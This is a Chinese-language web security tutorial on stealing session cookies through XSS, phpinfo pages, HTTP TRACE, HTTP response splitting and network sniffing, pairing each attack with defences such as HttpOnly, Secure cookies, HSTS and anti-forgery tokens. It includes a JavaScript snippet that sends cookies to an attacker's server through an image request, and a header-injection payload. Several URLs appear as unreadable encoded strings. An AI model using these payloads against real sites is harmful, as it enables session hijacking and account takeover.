最基本的cookie窃取方式：xss漏洞
攻击
一旦站点中存在可利用的xss漏洞，攻击者可直接利用注入的js脚本获取cookie，进而通过异步请求把标识session id的cookie上报给攻击者。
var img = document.createElement('img');
img.src = '96dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2$3K9h3I4Q4x3X3c8#2M7X3I4Q4x3@1k6U0i4K6y4p5i4K6t1%4i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0W2L8X3y4G2k6r3g2g2f1V1W2o6L8$3#2H3L8$3&6W2L8Y4c8Q4x3U0S2V1L8$3y4#2L8h3g2F1N6q4)9J5k6h3y4G2L8$3E0A6k6g2)9J5z5g2)9K6b7R3`.`.
document.getElementsByTagName('body')[0].appendChild(img);
如何寻找XSS漏洞是另外一个话题了，自行google之。
防御
根据上面HttpOnly cookie的介绍，一旦一个cookie被设置为HttpOnly，js脚本就无法再获取到，而网络传输时依然会带上。也就是说依然可以依靠这个cookie进行session维持，但客户端js对其不可见。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了。
但是上面说的是无法利用xss进行简单的攻击，但是也不是没有办法的。既然无法使用document.cookie获取到，可以转而通过其他的方式。下面介绍两种xss结合其他漏洞的攻击方式。
xss结合phpinfo页面
攻击
大家都知道，利用php开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息，其中就包括cookie信息。
如果开发者没有关闭这个页面，就可以利用xss漏洞向这个页面发起异步请求，获取到页面内容后parse出cookie信息，然后上传给攻击者。
phpinfo只是大家最常见的一种dump请求的页面，但不仅限于此，为了调试方便，任何dump请求的页面都是可以被利用的漏洞。
防御
关闭所有phpinfo类dump request信息的页面。
XSS + HTTP TRACE = XST
这是一种古老的攻击方式，现在已经消失，写在这里可以扩展一下攻防思路。
http trace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法。其中包含了HttpOnly的cookie。如果利用xss异步发起trace请求，又可以获取session信息了。
之所以说是一种古老的攻击方式，因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求。
另外提一点，当浏览器没有禁止异步发起trace的时代，很多开发者都关闭了web server的trace支持来防御XST攻击。但攻击者在特定的情况下还可以绕过，用户使用了代理服务器，而代理服务器没有关闭trace支持，这样又可以trace了。
HTTP Response Splitting
参考1
参考2
通常的XSS攻击都是把输入内容注入到response的content中，HTTP Response Splitting是一种针对header的注入。
例如，一个站点接受参数做302跳转：
98dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6Q4x3@1k6J5i4K6y4p5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2K9h3c8#2i4K6u0W2j5$3!0E0
request信息：
GET /example.com?r=069K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6g2o6M7W2)9#2b7$3^5`.
HTTP/1.1\r\n
Host: example.com\r\n
\r\n
response:
HTTP/1.1 302 Found\r\n
Location: 4caK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6g2o6M7W2)9#2b7$3^5`.
Content-Type: text/html\r\n
\r\n
这样页面就302跳转到百度了。攻击者利用r参数可以注入header，r参数不是简单的url，而是包含\r\n的header信息：
cedK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6Q4x3@1k6J5i4K6y4p5i4K6t1#2x3r3c8Q4x3U0f1H3j5f1S2f1g2q4m8Q4x3V1j5I4i4K6u0W2x3g2)9J5y4e0t1H3x3U0l9H3i4K6t1#2x3U0m8a6d9#2)9J5y4e0m8V1i4K6t1#2x3r3q4o6L8$3&6@1k6h3&6@1i4K6u0V1g2s2W2H3k6g2)9K6b7g2)9J5y4e0t1H3N6r3g2^5N6q4)9J5c8X3S2@1L8h3I4Q4x3U0f1H3k6q4)9J5y4e0m8S2h3q4)9J5k6q4S2e0f1#2)9J5k6q4m8J5L8%4c8W2j5%4c8A6L8$3&6Q4x3@1q4Q4x3U0f1J5x3o6m8Q4x3U0f1H3k6q4)9J5y4e0m8S2i4K6t1#2x3r3c8Q4x3U0f1H3j5g2)9J5y4e0y4o6K9s2c8E0L8q4)9J5y4e0y4q4i4K6t1#2x3@1y4K6j5%4u0A6M7s2c8Q4x3U0f1K6c8h3q4D9k6i4u0@1i4K6t1^5k6r3!0U0N6h3#2W2L8Y4c8Q4x3X3g2U0L8$3!0C8K9h3g2Q4x3U0W2Q4x3U0f1K6b7#2)9J5c8Y4y4U0M7X3W2H3N6q4)9J5y4e0y4q4i4K6t1#2x3@1y4Z5x3g2)9J5y4e0y4q4c8r3g2X3j5h3y4W2k6q4)9J5x3g2)9J5y4e0y4o6i4K6u0r3K9o6q4Q4x3U0f1K6c8g2)9J5y4e0y4o6i4K6u0r3K9s2c8E0L8q4)9J5y4e0y4q4
response变成了：
HTTP/1.1 302 Found\r\n
Location: \r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
X-XSS-Protection: 0\r\n
<html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>
Content-Type: text/html\r\n
\r\n
有两个攻击要点：
指定X=XSS-Protection: 0 ，关闭浏览器的xss保护机制。
注入脚本
防御
针对header的内容做过滤，不能漏掉\r\n，特别是Location，host，referrer等。
说到底，这也是一种XSS攻击，只是攻击方式与普通的不太一样。针对header的攻击还可以做SQL注入等，防御的原则是对所有的输入进行sanitize，包括非用户输入的内容，比如referrer这种一般由浏览器带过来的信息，因为请求完全可以被伪造，未必来自浏览器。
网络监听(network eavesdropping/network sniffing)
以上是利用上层应用的特性的几种攻击方式，cookie不仅存在于上层应用中，更流转于请求中。上层应用获取不到后，攻击者可以转而从网络请求中获取。
只要是未使用https加密的网站都可以抓包分析，其中就包含了标识session的cookie。当然，完成网络监听需要满足一定的条件，这又是另外一个话题了。常见的方式：
DNS缓存投毒
攻击者把要攻击的域名的一个子域映射到攻击者的server，然后想办法让被攻击者访问这个server(XSS request、社会化攻击等)，请求中会带过来所有cookie（包括HttpOnly）。
中间人攻击
常见的攻击方式是搭建免费wifi，把DHCP服务器指定为攻击者ip，在攻击者机器上可以收到所有请求，不仅可以获取cookie，还可以进行脚本注入。
代理服务器/VPN
翻墙用免费VPN？呵呵。
防御
使用https。使用https协议的请求都被ssl加密，理论上不可破解，即便被网络监听也无法通过解密看到实际的内容。
防御网络监听通常有两种方式：
信道加密
内容加密
https是加密信道，在此信道上传输的内容对中间人都是不可见的。但https是有成本的。
内容加密比较好理解，例如对password先加密再传输。但是对于标识session的cookie这种标识性信息是无法通过内容加密得到保护的。
那么，使用https的站点就可以高枕无忧了吗？事实上，一些细节上的处理不当同样会暴露出攻击风险。
https站点攻击：双协议
如果同时支持http和https，那么还是可以使用网络监听http请求获取cookie。
防御
只支持https，不支持http。
这样就好了吗？No.
https站点攻击：301重定向
例如be2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3#2Q4c8e0g2Q4z5p5k6Q4b7f1q4Q4c8e0k6Q4z5e0c8Q4b7f1k6Q4c8e0k6Q4z5p5y4Q4z5o6q4Z5N6s2c8H3M7#2!0q4y4g2)9^5c8q4)9^5c8W2!0q4z5q4!0m8c8g2!0m8c8g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4g2!0n7c8q4)9&6x3#2!0q4y4#2)9&6y4q4!0m8z5q4!0q4y4W2)9^5z5q4!0n7y4#2!0q4y4#2)9&6b7W2!0n7y4q4!0q4y4W2)9^5c8g2!0m8y4g2!0q4z5q4!0n7c8g2)9&6x3#2!0q4y4g2)9^5y4g2!0m8y4h3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3#2Q4c8f1k6Q4b7V1y4Q4z5o6S2Q4c8e0g2Q4b7e0c8Q4b7e0N6Q4c8e0W2Q4z5o6y4Q4b7e0S2Q4c8e0g2Q4z5o6S2Q4z5o6k6Q4c8e0N6Q4z5e0c8Q4b7e0S2Q4c8e0k6Q4z5o6S2Q4b7U0N6Q4c8e0W2Q4z5o6y4Q4b7V1c8Q4c8e0c8Q4b7U0S2Q4z5p5c8Q4c8e0c8Q4b7V1y4Q4z5f1q4Q4c8e0k6Q4z5o6W2Q4z5p5u0Q4c8e0g2Q4z5p5q4Q4b7e0S2Q4c8e0S2Q4b7V1g2Q4z5e0y4Q4c8e0g2Q4z5o6g2Q4b7e0g2Q4c8e0g2Q4z5p5c8Q4z5p5k6Q4c8e0S2Q4b7f1g2Q4b7f1g2Q4c8e0g2Q4z5o6W2Q4z5p5c8Q4c8e0N6Q4b7V1y4Q4z5o6m8Q4c8f1k6Q4b7V1y4Q4z5o6W2Q4c8f1k6Q4b7V1y4Q4z5p5y4%4k6h3u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7M7$3g2J5N6X3g2J5i4@1f1&6i4K6R3H3i4K6W2m8i4@1f1#2i4@1t1^5i4@1t1^5i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1#2i4@1p5@1i4K6R3@1i4@1f1%4i4K6V1H3i4K6R3$3i4@1f1$3i4K6V1^5i4@1q4r3i4@1f1^5i4@1u0r3i4K6V1@1i4@1f1#2i4K6W2n7i4K6W2q4x3K6l9I4i4@1f1^5i4@1p5$3i4K6R3I4i4@1f1$3i4@1t1I4i4K6R3J5i4@1f1$3i4@1t1#2i4K6S2r3i4@1f1^5i4@1p5%4i4K6R3^5i4@1f1#2i4K6V1&6i4@1p5^5i4@1f1&6i4K6R3%4i4K6S2p5i4@1f1#2i4@1q4q4i4K6W2m8i4@1f1#2i4K6V1H3i4K6V1I4i4@1f1#2i4K6R3^5i4@1t1H3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2P5r3q4E0M7r3I4W2i4K6u0W2j5$3!0E0i4@1f1K6i4K6R3H3i4K6R3J5i4@1f1^5i4@1u0r3i4K6V1&6i4@1f1$3i4@1q4o6i4@1p5I4x3K6l9I4i4@1f1^5i4@1q4r3i4@1t1%4i4@1f1$3i4@1t1I4i4K6R3J5i4@1f1$3i4K6V1^5i4@1q4r3K9s2c8@1M7q4!0q4y4#2)9&6b7g2)9^5y4q4!0q4c8W2!0n7b7#2)9^5x3g2!0q4z5q4)9^5x3q4)9^5b7#2!0q4y4q4!0n7z5q4)9&6y4q4!0q4y4g2!0n7z5q4!0m8y4W2!0q4y4q4!0n7b7g2)9^5y4X3y4G2L8$3E0A6k6g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4W2!0m8x3q4!0n7y4#2!0q4y4g2)9^5c8W2)9^5z5q4!0q4y4g2!0n7x3q4)9^5y4X3y4G2L8$3E0A6k6g2!0q4y4W2)9&6z5q4)9^5c8g2!0q4y4W2)9&6y4W2)9^5y4#2!0q4y4W2)9&6b7g2!0n7y4q4!0q4z5g2)9&6b7#2!0n7x3W2!0q4y4g2)9&6b7#2!0m8z5q4!0q4y4#2!0n7c8q4)9&6x3g2!0q4y4#2!0n7b7W2)9&6b7#2!0q4y4q4!0n7z5q4)9^5b7g2!0q4y4q4!0n7b7g2)9^5y4W2!0q4x3#2)9^5x3q4)9^5x3R3`.`.
防御1
把标识session的cookie设置成secure。上面提到的secure cookie，只允许在https上加密传输，在http请求中不会存在，这样就不会暴露在未加密的网络上了。
然后现实很残酷，很多站点根本无法做到所有的请求都走https。原因有很多，可能是成本考虑，可能是业务需求。
防御2
设置Strict-Transport-Security header，直接省略这个http请求！用户首次访问后，服务器设置了这个header以后，后面就会省略掉这次http 301请求。更多点此
乌云案例
思考
如果偷取cookie失败，无法session劫持，攻击者如何再发起攻击？
劫持session的目的是拿到登录态，从而获得服务器授权做很多请求，例如账户变更。如果劫持不到session，也能够做授权请求不是也达到攻击的目的了？
无需拿到session cookie，跨站发起请求就可以了，这就是CSRF！
server通过把用户凭证存储在cookie以维持session，http/https协议每次访问都会自动传输cookie，协议上的缺陷是导致可进行CSRF攻击的根本原因！
防御方式：使用anti-forgery token
大部分攻击都是提权行为，最基本的提权通过偷取用户名密码，不成功转而窃取session，窃取不成转而跨站攻击，实在不行重放也可以造成危害
|
|
|---|---|
